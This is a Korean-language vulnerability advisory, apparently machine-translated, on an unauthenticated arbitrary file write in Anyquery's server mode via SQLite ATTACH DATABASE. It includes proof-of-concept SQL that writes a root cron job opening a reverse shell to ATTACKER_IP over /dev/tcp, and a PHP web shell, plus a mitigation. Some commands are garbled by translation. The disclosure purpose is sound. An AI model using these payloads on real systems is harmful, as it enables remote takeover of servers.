Anyquery: 서버 모드에서 무제한 ATTACH DATABASE를 통해 RCE(원격 코드 실행)로 이어질 수 있는 AFW(임의 파일 쓰기)
Anyquery의 '서버' 모드는 기본 SQLite 디스크 조작 명령을 비활성화하거나 제한하지 않습니다. MySQL 호환 서버 포트에 연결하는 인증되지 않은 공격자는 ATTACH DATABASE 명령을 사용하여 프로세스에 쓰기 권한이 있는 피해자 파일 시스템의 모든 경로에 임의의 SQLite 데이터베이스를 쓸 수 있습니다. 이는 환경에 따라 원격 코드 실행(RCE)으로 이어질 수 있는 AFW(임의 파일 쓰기)로 이어집니다(예: 웹 서버가 실행 중인 경우 PHP 웹 셸을 삭제하거나 루트로 실행 중인 경우 시스템 cronjob을 덮어씀).
Anyquery가 서버 모드(anyquery 서버)에서 시작되면 들어오는 SQL 명령을 기본 SQLite 엔진으로 맹목적으로 프록시합니다. SQLite는 'ATTACH DATABASE' 명령을 통해 동적 데이터베이스 마운트를 허용합니다. 이 명령은 파일이 존재하지 않는 경우 파일 시스템에 물리적인 '.db' 파일을 생성합니다.
공격자는 열려 있는 Anyquery 포트에 연결하고, 중요한 경로(예: /var/www/html/shell.php, /etc/cron.d/pwn 또는 /root/.ssh/authorized_keys)에 새 데이터베이스를 연결하고, 테이블을 생성하고, 악성 페이로드를 삽입할 수 있습니다. 파일에는 바이너리 SQLite 헤더가 포함되어 있지만 cron, sshd와 같은 표준 Linux 서비스 및 PHP와 같은 웹 서버는 가비지 데이터를 허용하고 공격자가 삽입한 유효한 페이로드 라인을 구문 분석/실행합니다.
피해 컴퓨터에서 서버를 시작합니다. ``배쉬 모든 쿼리 서버 --host 0.0.0.0 --port 8070
공격자 컴퓨터에서 연결합니다. ``배쉬 mysql -u 루트 -h <VICTIM_IP> -P 8070
페이로드를 실행하여 기본 RCE에 대한 악성 cronjob을 작성합니다(참고: Anyquery 프로세스에는 /etc/cron.d 또는 /var/spool/cron/crontabs/와 같은 대상 디렉터리에 대한 쓰기 권한이 있어야 합니다).
``sql
ATTACH DATABASE '/etc/cron.d/pwn' AS pwn;
CREATE TABLE pwn.task(cmd TEXT);
pwn.task 값에 삽입('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');
*또는 웹 서버가 실행 중이고 Anyquery 프로세스가 웹 루트에 쓸 수 있는 경우 PHP 셸을 삭제할 수 있습니다.*
``sql
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
테이블 생성 pwn.hacked (cmd TEXT);
pwn.hacked 값에 삽입('<?php system($_GET["cmd"]); ?>');
루트가 아닌 사용자로 로컬에서 테스트하는 경우 /tmp에 작성하여 취약점을 확인할 수 있습니다.
``sql
ATTACH DATABASE '/tmp/pwn.db' AS pwn;
CREATE TABLE pwn.test(cmd TEXT);
pwn.test 값에 삽입('Hello Anyquery AFW');
60초 내에 시스템의 cron 데몬은 SQLite 헤더를 무시하고 유효한 cron 문자열을 구문 분석한 다음 루트 권한으로 역방향 셸 페이로드를 실행합니다.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
서버 모드에서 실행할 때 위험한 SQLite 기능(ATTACH DATABASE, DETACH DATABASE 등)을 비활성화합니다. 기본 데이터베이스 또는 메모리 내 가상 테이블에 대한 작업만 허용하도록 MySQL 처리기를 제한합니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 91.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 91.00 |
VPI 공식 vpi-v1 기준